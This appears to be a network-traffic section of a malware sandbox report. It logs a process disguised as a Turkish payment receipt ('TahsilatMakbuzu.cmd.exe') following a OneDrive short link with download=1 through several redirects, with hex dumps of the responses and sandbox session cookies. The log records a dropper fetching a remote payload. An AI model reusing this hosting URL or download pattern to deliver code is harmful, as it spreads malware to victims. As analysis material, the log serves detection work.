2024-07-04 18:17:32 UTC	1921	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 205808 Content-Type: text/html; charset=utf-8 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" WWW-Authenticate: Wlid1.1 realm="WindowsLive", fault="BadContextToken", policy="MBI_SSL", ver="7.5.0.0", target="ssl.live.com", siteId="ssl.live.com" X-NetworkStatistics: 0,525568,0,0,81,0,26551,26 X-SharePointHealthScore: 0 Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-AspNet-Version: 4.0.30319 X-DataBoundary: NONE X-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/ SPRequestGuid: 411239a1-c0af-5000-e795-2d50ca3ee9b9 request-id: 411239a1-c0af-5000-e795-2d50ca3ee9b9 MS-CV: oTkSQa/AAFDnlS1Qyj7puQ.0 Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com .powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com *.onedrive.live.com securebroker.sharepointonline.com; SPRequestDuration: 32 SPIisLatency: 2 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25019 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 50F02C95AC384B3A81BEE091DCC27E0D Ref B: BN3EDGE0206 Ref C: 2024-07-04T18:17:32Z Date: Thu, 04 Jul 2024 18:17:31 GMT Connection: close
2024-07-04 18:17:32 UTC	2245	IN	Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 64 69 72 3d 22 6c 74 72 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 20 2f 3e Data Ascii: <!DOCTYPE html><html lang="en-us" dir="ltr"> <head><meta http-equiv="Content-type" content="text/html; charset=utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=no" />
2024-07-04 18:17:32 UTC	8192	IN	Data Raw: 35 32 30 30 36 34 2c 32 38 31 34 36 32 38 2c 31 38 37 39 38 33 34 36 39 32 2c 33 36 39 31 31 35 35 30 36 2c 38 30 39 31 31 31 37 34 34 2c 2d 35 31 30 33 38 39 37 35 33 2c 2d 31 30 37 33 37 34 30 37 39 39 2c 31 30 37 30 38 30 34 31 2c 38 37 31 38 33 37 31 2c 39 35 37 31 35 38 34 34 2c 36 36 37 31 36 30 33 38 2c 32 37 32 36 34 33 35 38 34 2c 31 30 37 37 33 37 39 35 38 34 2c 31 38 38 30 36 32 31 30 38 32 2c 31 30 37 36 38 39 31 39 30 34 2c 31 30 37 33 37 34 31 39 30 34 2c 33 37 31 32 33 30 37 32 31 2c 31 33 35 35 32 38 37 32 30 2c 31 33 35 31 38 30 38 2c 34 31 31 31 30 37 33 32 38 2c 33 33 33 33 37 37 39 36 35 2c 31 38 34 35 30 30 39 34 36 37 2c 31 36 30 35 31 39 30 35 35 31 2c 39 34 30 35 37 34 38 38 31 2c 32 31 33 35 30 37 32 36 31 2c 31 36 36 39 34 36 34 Data Ascii: 520064,2814628,1879834692,369115506,809111744,-510389753,-1073740799,10708041,8718371,95715844,66716038,272643584,1077379584,1880621082,1076891904,1073741904,371230721,135528720,1351808,411107328,333377965,1845009467,1605190551,940574881,213507261,1669464
2024-07-04 18:17:32 UTC	4144	IN	Data Raw: 74 72 75 65 2c 22 30 36 32 33 32 38 36 37 2d 41 44 42 32 2d 34 34 41 37 2d 38 37 33 31 2d 37 33 34 44 39 41 45 36 46 32 35 45 22 3a 74 72 75 65 2c 22 30 31 34 30 34 39 35 42 2d 36 45 42 46 2d 34 37 44 34 2d 39 33 32 42 2d 32 30 44 41 45 34 36 32 46 42 38 32 22 3a 74 72 75 65 2c 22 30 41 35 38 31 39 31 43 2d 43 30 37 31 2d 34 31 36 34 2d 41 33 39 43 2d 33 35 43 44 43 46 31 38 32 45 42 34 22 3a 74 72 75 65 2c 22 46 38 33 42 33 35 35 43 2d 45 30 32 31 2d 34 44 33 36 2d 41 42 39 32 2d 42 38 30 31 44 30 33 44 41 32 41 33 22 3a 74 72 75 65 2c 22 35 35 30 41 35 42 43 38 2d 30 45 33 37 2d 34 43 31 41 2d 41 41 42 38 2d 42 37 43 41 35 45 38 42 42 38 30 30 22 3a 74 72 75 65 2c 22 37 36 41 32 43 45 45 35 2d 31 33 34 33 2d 34 36 39 42 2d 42 32 44 36 2d 37 37 43 46 34 Data Ascii: true,"06232867-ADB2-44A7-8731-734D9AE6F25E":true,"0140495B-6EBF-47D4-932B-20DAE462FB82":true,"0A58191C-C071-4164-A39C-35CDCF182EB4":true,"F83B355C-E021-4D36-AB92-B801D03DA2A3":true,"550A5BC8-0E37-4C1A-AAB8-B7CA5E8BB800":true,"76A2CEE5-1343-469B-B2D6-77CF4
2024-07-04 18:17:32 UTC	8192	IN	Data Raw: 38 45 46 30 31 30 2d 44 37 35 42 2d 34 44 36 41 2d 38 36 41 35 2d 33 46 44 37 44 34 45 46 33 34 45 32 22 3a 74 72 75 65 2c 22 42 39 30 44 41 35 46 39 2d 42 41 37 35 2d 34 42 43 43 2d 41 33 45 30 2d 39 46 39 41 42 45 30 36 46 46 35 39 22 3a 74 72 75 65 2c 22 37 33 39 33 39 43 35 46 2d 34 32 37 42 2d 34 43 30 32 2d 42 30 38 42 2d 35 30 45 37 37 38 41 42 44 46 34 42 22 3a 74 72 75 65 2c 22 33 36 45 33 33 36 38 38 2d 37 30 45 44 2d 34 39 34 41 2d 41 39 32 31 2d 37 30 35 46 33 30 38 43 31 30 41 36 22 3a 74 72 75 65 2c 22 30 35 34 36 46 30 36 35 2d 43 33 34 37 2d 34 41 44 30 2d 38 38 36 44 2d 38 44 38 34 36 39 37 33 44 43 36 38 22 3a 74 72 75 65 2c 22 32 36 36 46 33 42 42 36 2d 44 42 37 46 2d 34 32 37 30 2d 42 38 38 33 2d 44 32 35 43 42 44 32 36 37 38 33 31 22 Data Ascii: 8EF010-D75B-4D6A-86A5-3FD7D4EF34E2":true,"B90DA5F9-BA75-4BCC-A3E0-9F9ABE06FF59":true,"73939C5F-427B-4C02-B08B-50E778ABDF4B":true,"36E33688-70ED-494A-A921-705F308C10A6":true,"0546F065-C347-4AD0-886D-8D846973DC68":true,"266F3BB6-DB7F-4270-B883-D25CBD267831"
2024-07-04 18:17:32 UTC	8192	IN	Data Raw: 31 33 35 2d 34 46 31 45 2d 42 31 31 36 2d 36 39 33 33 34 36 42 30 37 42 35 42 22 3a 74 72 75 65 2c 22 34 38 36 30 42 36 30 44 2d 32 34 34 46 2d 34 46 34 42 2d 39 43 33 30 2d 30 36 30 45 32 37 44 38 42 35 31 41 22 3a 74 72 75 65 2c 22 31 34 46 45 35 43 36 45 2d 32 41 41 31 2d 34 33 43 39 2d 38 31 39 43 2d 41 39 39 35 37 32 37 32 33 35 39 43 22 3a 74 72 75 65 2c 22 41 30 39 32 31 45 34 30 2d 42 37 33 37 2d 34 43 42 46 2d 38 44 35 45 2d 46 36 31 43 41 45 30 32 46 44 30 32 22 3a 74 72 75 65 2c 22 31 33 32 37 30 30 30 33 2d 37 46 39 34 2d 34 41 35 46 2d 39 35 38 33 2d 32 31 41 37 38 43 41 46 41 31 42 42 22 3a 74 72 75 65 2c 22 44 37 42 45 38 36 39 38 2d 46 35 38 46 2d 34 43 35 33 2d 39 31 32 42 2d 34 39 39 44 34 42 33 33 46 36 45 30 22 3a 74 72 75 65 2c 22 43 Data Ascii: 135-4F1E-B116-693346B07B5B":true,"4860B60D-244F-4F4B-9C30-060E27D8B51A":true,"14FE5C6E-2AA1-43C9-819C-A9957272359C":true,"A0921E40-B737-4CBF-8D5E-F61CAE02FD02":true,"13270003-7F94-4A5F-9583-21A78CAFA1BB":true,"D7BE8698-F58F-4C53-912B-499D4B33F6E0":true,"C
2024-07-04 18:17:32 UTC	8192	IN	Data Raw: 2d 38 30 32 43 2d 31 31 30 31 37 45 33 31 46 44 41 33 22 3a 74 72 75 65 2c 22 36 38 34 35 31 35 41 45 2d 39 31 34 32 2d 34 30 45 35 2d 39 44 38 30 2d 35 36 33 43 37 34 46 35 30 45 35 38 22 3a 74 72 75 65 2c 22 43 37 43 34 39 34 41 38 2d 41 31 32 32 2d 34 36 38 41 2d 41 32 39 41 2d 33 42 39 41 31 39 33 43 33 33 30 41 22 3a 74 72 75 65 2c 22 33 30 41 44 30 33 42 43 2d 34 35 39 45 2d 34 45 32 30 2d 39 38 35 35 2d 34 42 38 33 39 42 33 35 44 35 43 39 22 3a 74 72 75 65 2c 22 34 41 30 36 35 43 42 45 2d 33 37 43 41 2d 34 38 46 36 2d 39 43 31 44 2d 38 35 36 42 37 38 45 34 43 42 43 36 22 3a 74 72 75 65 2c 22 38 31 34 36 31 38 36 34 2d 46 31 42 41 2d 34 36 30 43 2d 42 43 45 31 2d 44 31 44 37 43 33 39 37 35 43 30 44 22 3a 74 72 75 65 2c 22 41 45 46 34 34 33 41 31 2d Data Ascii: -802C-11017E31FDA3":true,"684515AE-9142-40E5-9D80-563C74F50E58":true,"C7C494A8-A122-468A-A29A-3B9A193C330A":true,"30AD03BC-459E-4E20-9855-4B839B35D5C9":true,"4A065CBE-37CA-48F6-9C1D-856B78E4CBC6":true,"81461864-F1BA-460C-BCE1-D1D7C3975C0D":true,"AEF443A1-
2024-07-04 18:17:32 UTC	8192	IN	Data Raw: 45 31 37 39 36 30 37 38 45 35 22 3a 74 72 75 65 2c 22 36 45 37 31 38 31 42 42 2d 36 37 38 38 2d 34 34 30 31 2d 38 35 36 31 2d 38 35 38 36 30 44 38 37 32 32 32 33 22 3a 74 72 75 65 2c 22 38 46 34 41 31 30 39 41 2d 38 37 34 38 2d 34 38 32 42 2d 39 33 31 44 2d 46 45 30 46 45 44 36 38 38 30 33 44 22 3a 74 72 75 65 2c 22 32 43 35 35 30 32 45 38 2d 39 42 46 30 2d 34 45 44 39 2d 41 44 37 36 2d 39 42 42 45 31 31 34 35 45 37 36 31 22 3a 74 72 75 65 2c 22 39 32 46 44 41 42 32 39 2d 34 42 43 46 2d 34 32 37 46 2d 39 34 36 43 2d 44 35 45 38 45 43 45 33 35 42 36 46 22 3a 74 72 75 65 2c 22 39 31 44 33 36 41 43 34 2d 33 46 42 34 2d 34 31 37 36 2d 39 39 36 44 2d 41 32 30 42 45 32 46 34 44 33 37 31 22 3a 74 72 75 65 2c 22 44 44 30 31 31 42 43 41 2d 34 41 37 45 2d 34 41 41 Data Ascii: E1796078E5":true,"6E7181BB-6788-4401-8561-85860D872223":true,"8F4A109A-8748-482B-931D-FE0FED68803D":true,"2C5502E8-9BF0-4ED9-AD76-9BBE1145E761":true,"92FDAB29-4BCF-427F-946C-D5E8ECE35B6F":true,"91D36AC4-3FB4-4176-996D-A20BE2F4D371":true,"DD011BCA-4A7E-4AA
2024-07-04 18:17:32 UTC	8192	IN	Data Raw: 42 36 22 3a 74 72 75 65 2c 22 33 34 46 36 45 37 33 32 2d 43 31 35 34 2d 34 37 38 38 2d 39 44 32 42 2d 32 42 41 44 46 42 45 30 46 43 44 34 22 3a 74 72 75 65 2c 22 45 44 41 32 35 45 45 41 2d 45 34 35 35 2d 34 36 43 38 2d 42 39 42 46 2d 45 32 34 44 34 37 43 39 44 44 41 46 22 3a 74 72 75 65 2c 22 30 44 35 33 35 34 38 38 2d 46 30 35 36 2d 34 38 32 30 2d 41 39 43 31 2d 39 33 37 36 41 46 36 39 39 32 46 43 22 3a 74 72 75 65 2c 22 38 36 44 44 38 46 34 44 2d 36 41 31 43 2d 34 43 44 31 2d 39 43 46 36 2d 37 46 41 39 41 41 33 35 45 41 44 45 22 3a 74 72 75 65 2c 22 43 37 45 33 44 30 33 39 2d 41 35 30 44 2d 34 31 36 35 2d 39 35 34 42 2d 30 46 46 32 35 31 39 31 46 42 36 41 22 3a 74 72 75 65 2c 22 30 32 46 44 44 42 31 44 2d 30 38 32 34 2d 34 34 34 32 2d 38 35 34 32 2d 36 Data Ascii: B6":true,"34F6E732-C154-4788-9D2B-2BADFBE0FCD4":true,"EDA25EEA-E455-46C8-B9BF-E24D47C9DDAF":true,"0D535488-F056-4820-A9C1-9376AF6992FC":true,"86DD8F4D-6A1C-4CD1-9CF6-7FA9AA35EADE":true,"C7E3D039-A50D-4165-954B-0FF25191FB6A":true,"02FDDB1D-0824-4442-8542-6
2024-07-04 18:17:32 UTC	8192	IN	Data Raw: 2c 22 43 39 46 45 39 44 44 42 2d 31 36 30 38 2d 34 30 41 45 2d 38 46 30 35 2d 31 42 46 44 34 43 46 43 38 43 35 33 22 3a 74 72 75 65 2c 22 41 45 32 30 44 43 30 34 2d 37 31 31 41 2d 34 37 36 38 2d 42 30 30 41 2d 32 41 33 32 39 33 35 41 36 36 46 37 22 3a 74 72 75 65 2c 22 43 32 36 33 43 41 44 43 2d 31 41 32 31 2d 34 35 38 38 2d 38 35 36 31 2d 43 37 39 46 42 30 35 31 31 38 41 37 22 3a 74 72 75 65 2c 22 37 37 42 31 32 45 33 30 2d 35 31 39 32 2d 34 30 45 37 2d 41 36 45 41 2d 46 38 34 31 35 35 31 33 46 37 37 33 22 3a 74 72 75 65 2c 22 43 32 45 32 34 37 42 46 2d 45 34 38 35 2d 34 41 37 30 2d 39 34 37 46 2d 35 30 46 33 42 38 41 43 30 39 44 38 22 3a 74 72 75 65 2c 22 33 44 30 45 41 30 34 45 2d 36 31 41 41 2d 34 42 35 37 2d 41 35 44 32 2d 33 37 37 46 37 36 41 33 46 Data Ascii: ,"C9FE9DDB-1608-40AE-8F05-1BFD4CFC8C53":true,"AE20DC04-711A-4768-B00A-2A32935A66F7":true,"C263CADC-1A21-4588-8561-C79FB05118A7":true,"77B12E30-5192-40E7-A6EA-F8415513F773":true,"C2E247BF-E485-4A70-947F-50F3B8AC09D8":true,"3D0EA04E-61AA-4B57-A5D2-377F76A3F
2024-07-04 18:17:32 UTC	8192	IN	Data Raw: 44 46 2d 33 39 31 32 2d 34 37 43 37 2d 38 35 38 32 2d 38 32 35 41 39 46 39 33 46 42 35 32 22 3a 74 72 75 65 2c 22 32 42 35 32 41 42 42 36 2d 46 37 32 45 2d 34 44 38 36 2d 39 44 36 37 2d 46 38 35 44 46 44 32 34 39 44 34 42 22 3a 74 72 75 65 2c 22 32 33 39 33 32 38 45 43 2d 32 30 39 38 2d 34 36 42 42 2d 39 43 35 43 2d 33 44 45 36 36 39 38 38 32 39 37 44 22 3a 74 72 75 65 2c 22 32 44 45 46 30 32 31 33 2d 35 30 35 45 2d 34 42 42 33 2d 38 34 34 31 2d 31 39 45 33 41 45 43 30 44 33 35 32 22 3a 74 72 75 65 2c 22 45 41 30 34 37 39 38 41 2d 42 35 30 31 2d 34 37 46 39 2d 41 35 31 41 2d 39 42 36 33 45 32 39 37 44 34 43 44 22 3a 74 72 75 65 2c 22 35 44 31 39 46 45 44 32 2d 32 42 46 36 2d 34 38 45 38 2d 39 43 41 44 2d 32 44 38 44 35 44 32 34 35 39 43 31 22 3a 74 72 75 Data Ascii: DF-3912-47C7-8582-825A9F93FB52":true,"2B52ABB6-F72E-4D86-9D67-F85DFD249D4B":true,"239328EC-2098-46BB-9C5C-3DE66988297D":true,"2DEF0213-505E-4BB3-8441-19E3AEC0D352":true,"EA04798A-B501-47F9-A51A-9B63E297D4CD":true,"5D19FED2-2BF6-48E8-9CAD-2D8D5D2459C1":tru

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.6	49810	13.107.42.12	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:17:33 UTC	99	OUT	GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1 Host: 1drv.ms Connection: Keep-Alive
2024-07-04 18:17:33 UTC	594	IN	HTTP/1.1 301 Moved Permanently Location: https://onedrive.live.com/redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ X-MSNSERVER: BL4PPF27BD219F7 Strict-Transport-Security: max-age=31536000; includeSubDomains MS-CV: GoXjuY+PQkupShXOel9AWw.0 X-AsmVersion: UNKNOWN; 19.1445.617.2015 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 40777AE07202404AB6236F77D21EE91E Ref B: EWR311000103017 Ref C: 2024-07-04T18:17:33Z Date: Thu, 04 Jul 2024 18:17:33 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.6	49811	13.107.137.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:17:34 UTC	191	OUT	GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1 Host: onedrive.live.com
2024-07-04 18:17:34 UTC	2224	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Length: 311 Content-Type: text/html; charset=utf-8 Expires: -1 Location: /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd Set-Cookie: E=P:Okufk1Wc3Ig=:9Cb8kcbqfAzDzAAX9PaGXYj9Aoh6VdVrwOmSXR00ucQ=:F; domain=.live.com; path=/ Set-Cookie: xid=11ed3aaa-742f-4968-b4af-032424f9f684&&ODSP-ODWEB-ODCF&228; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Thu, 04-Jul-2024 16:37:34 GMT; path=/ Set-Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODU0LCJuYmYiOjE3MjAxMTcwNTQsImdpdmVuX25hbWUiOiIxMSIsImZhbWlseV9uYW1lIjoiQnV0dGVyZmx5IiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiZGY5MmQ5YjNiOTY5ZmYyNTlhZmU4ZGRmMDE4NTg4NTkiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNzA1NH0.fNTQUeFf6_Cx2ypkx3pXVlw5iQMliR4KeBJwNEEKgUlstkBypNdZRMJ7qLHSCElIGHCfnA6opLKKRlAxJA_RcokKOdWZFHYflvythveKxeq7gB8LIp2pat2P3faDsygOwreTqz6GtgiJaXX2Ku1U_0lXeMTn-813rMTiHaVKJYY4DsPMimjMclH20DCyK-Sdpqr-X-TkGhANkRRY04VznMzSDh7UReH4mNsbSGMCNpyDR7TQk_g1ELwfUKZXOH2IvqyEhM5e2qy_ec0h4phNSQ-mRgdUVYscit08XYSLuTaH6RN1LhfZeuogWYyEGdEDuP8OCqpcr0J_S3QYW1CbxQ; path=/; SameSite=None; secure Set-Cookie: wla42=; domain=live.com; expires=Thu, 11-Jul-2024 18:17:34 GMT; path=/ X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 656bc47b7b-v882d X-ODWebServer: nameastus2708987-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: B69CB7AF0C9949F292F20D08E45568CC Ref B: BN3EDGE1108 Ref C: 2024-07-04T18:17:34Z Date: Thu, 04 Jul 2024 18:17:34 GMT Connection: close
2024-07-04 18:17:34 UTC	148	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 2f 3f 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 73 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 64 65 Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="/?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&rede
2024-07-04 18:17:34 UTC	163	IN	Data Raw: 65 6d 3d 61 48 52 30 63 48 4d 36 4c 79 38 78 5a 48 4a 32 4c 6d 31 7a 4c 33 55 76 63 79 46 42 63 6a 4e 6f 64 46 52 6e 53 57 5a 44 64 56 39 6b 53 6e 46 48 58 33 4a 31 55 44 46 4f 4d 6d 6c 4d 5a 6d 4d 5f 5a 47 39 33 62 6d 78 76 59 57 51 39 4d 51 26 61 6d 70 3b 6d 69 67 72 61 74 65 64 74 6f 73 70 6f 3d 74 72 75 65 26 61 6d 70 3b 63 69 64 3d 62 66 32 62 37 63 30 38 33 38 62 35 65 31 62 64 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 68 32 3e 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: em=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd">here</a>.</h2></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.6	49814	13.107.137.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:17:35 UTC	1284	OUT	GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1 Host: onedrive.live.com Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODU0LCJuYmYiOjE3MjAxMTcwNTQsImdpdmVuX25hbWUiOiIxMSIsImZhbWlseV9uYW1lIjoiQnV0dGVyZmx5IiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiZGY5MmQ5YjNiOTY5ZmYyNTlhZmU4ZGRmMDE4NTg4NTkiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNzA1NH0.fNTQUeFf6_Cx2ypkx3pXVlw5iQMliR4KeBJwNEEKgUlstkBypNdZRMJ7qLHSCElIGHCfnA6opLKKRlAxJA_RcokKOdWZFHYflvythveKxeq7gB8LIp2pat2P3faDsygOwreTqz6GtgiJaXX2Ku1U_0lXeMTn-813rMTiHaVKJYY4DsPMimjMclH20DCyK-Sdpqr-X-TkGhANkRRY04VznMzSDh7UReH4mNsbSGMCNpyDR7TQk_g1ELwfUKZXOH2IvqyEhM5e2qy_ec0h4phNSQ-mRgdUVYscit08XYSLuTaH6RN1LhfZeuogWYyEGdEDuP8OCqpcr0J_S3QYW1CbxQ; E=P:Okufk1Wc3Ig=:9Cb8kcbqfAzDzAAX9PaGXYj9Aoh6VdVrwOmSXR00ucQ=:F; xid=11ed3aaa-742f-4968-b4af-03242 [TRUNCATED]
2024-07-04 18:17:35 UTC	1924	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 205869 Content-Type: text/html; charset=utf-8 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" WWW-Authenticate: Wlid1.1 realm="WindowsLive", fault="BadContextToken", policy="MBI_SSL", ver="7.5.0.0", target="ssl.live.com", siteId="ssl.live.com" X-NetworkStatistics: 0,525568,0,0,21498,0,31233,42 X-SharePointHealthScore: 2 Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-AspNet-Version: 4.0.30319 X-DataBoundary: NONE X-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/ SPRequestGuid: 421239a1-d088-5000-e9ef-8469ea290463 request-id: 421239a1-d088-5000-e9ef-8469ea290463 MS-CV: oTkSQojQAFDp74Rp6ikEYw.0 Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com .powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com *.onedrive.live.com securebroker.sharepointonline.com; SPRequestDuration: 34 SPIisLatency: 1 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25019 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: A59C321763134C75881B791943F07688 Ref B: BN3EDGE1122 Ref C: 2024-07-04T18:17:35Z Date: Thu, 04 Jul 2024 18:17:35 GMT Connection: close
